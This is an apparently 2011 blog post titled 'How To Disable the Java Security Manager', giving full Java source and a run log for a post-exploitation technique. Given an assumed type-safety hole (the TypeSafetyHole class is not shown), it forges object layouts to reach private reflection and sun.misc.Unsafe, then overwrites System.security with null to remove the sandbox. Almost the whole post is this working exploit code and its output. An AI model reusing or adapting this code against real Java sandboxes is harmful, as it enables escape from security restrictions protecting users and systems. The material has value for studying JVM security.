# Monday, 01 August 2011
« New Development Snapshot | Main | MethodHandle Progress »
How To Disable the Java Security Manager

Suppose you have a type safety vulnerability in Java, you could use it to execute native code, but you can also simply disable the SecurityManager:

import java.io.*;
import java.lang.ref.*;
import java.lang.reflect.*;

class Union1 {
  ObjectStreamClass osc;
  Class c;
  AccessibleObject acc;
}

class Union2 {
  MyObjectStreamClass osc;
  MyClass c;
  MyAccessibleObject acc;
}

class MyObjectStreamClass {
  int i1;
  int i2;
  int i3;
  int i4;
  Object obj1;
  Object obj2;
  Long suid;
}

class MyClass {
  int i1;
  int i2;
  int i3;
  int i4;
  Object obj1;
  Object obj2;
  Object obj3;
  Object obj4;
  SoftReference<Field[]> declaredFields;
  Object obj6;
  SoftReference<Method[]> declaredMethods;
  Object obj8;
}

class MyAccessibleObject {
  boolean override;
}

class DisableSecurityManager {
  static Union1 u1 = new Union1();
  static Union2 u2;
  static Method privateGetDeclaredFields;
  static Method privateGetDeclaredMethods;

  public static void main(String[] args) throws Exception {
    u2 = TypeSafetyHole.setupUnions(u1);
    disableSecurityManager();
  }

  static void disableSecurityManager() throws Exception {
    initReflection();

    Object unsafe = getField(java.util.Random.class, "unsafe").get(null);
    Method staticFieldBase = getMethod(unsafe.getClass(), "staticFieldBase");
    Method staticFieldOffset = getMethod(unsafe.getClass(), "staticFieldOffset");
    Object base_System = staticFieldBase.invoke(unsafe, System.class);
    Method getObject = getMethod(unsafe.getClass(), "getObjectVolatile");
    Method putObject = getMethod(unsafe.getClass(), "putObjectVolatile");

    SecurityManager sm = System.getSecurityManager();
    System.out.println(sm);
    for (int i = 0; ; i += 4) {
      if (getObject.invoke(unsafe, base_System, i) == sm) {
        System.out.println("found it!");
        putObject.invoke(unsafe, base_System, i, null);
        break;
      }
    }
    System.out.println(System.getSecurityManager());
  }

  static void initReflection() throws Exception {
    u1.osc = ObjectStreamClass.lookup(Class.class);
    u1.c = Class.class;
    System.out.println(ObjectStreamClass.lookup(Class.class).getSerialVersionUID());
    u2.osc.suid = null;
    System.out.println(ObjectStreamClass.lookup(Class.class).getSerialVersionUID());
    for (Method m : u2.c.declaredMethods.get()) {
      if (m.getName().equals("privateGetDeclaredFields")) {
        u1.acc = m;
        u2.acc.override = true;
        privateGetDeclaredFields = m;
      }
      if (m.getName().equals("privateGetDeclaredMethods")) {
        u1.acc = m;
        u2.acc.override = true;
        privateGetDeclaredMethods = m;
      }
    }
  }

  static Field getField(Class c, String name) throws Exception {
    Field[] fields = (Field[])privateGetDeclaredFields.invoke(c, false);
    for (Field f : fields) {
      if (f.getName().equals(name)) {
        u1.acc = f;
        u2.acc.override = true;
        return f;
      }
    }
    throw new Error("Field not found");
  }

  static Method getMethod(Class c, String name) throws Exception {
    Method[] methods = (Method[])privateGetDeclaredMethods.invoke(c, false);
    for (Method m : methods) {
      if (m.getName().equals(name)) {
        u1.acc = m;
        u2.acc.override = true;
        return m;
      }
    }
    throw new Error("Method not found");
  }
}  

This code requires JDK 7. Note that you can't use reflection to access the System.security field, because it is special cased by the reflection code (cute, but not very effective).

Here's how it runs (given a suitable implementation of TypeSafetyHole):

C:\j>\jdk1.7\bin\java -Djava.security.manager DisableSecurityManager
3206093459760846163
5184993009896724798
java.lang.SecurityManager@150ac9a8
found it!
null
Monday, 01 August 2011 16:27:17 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]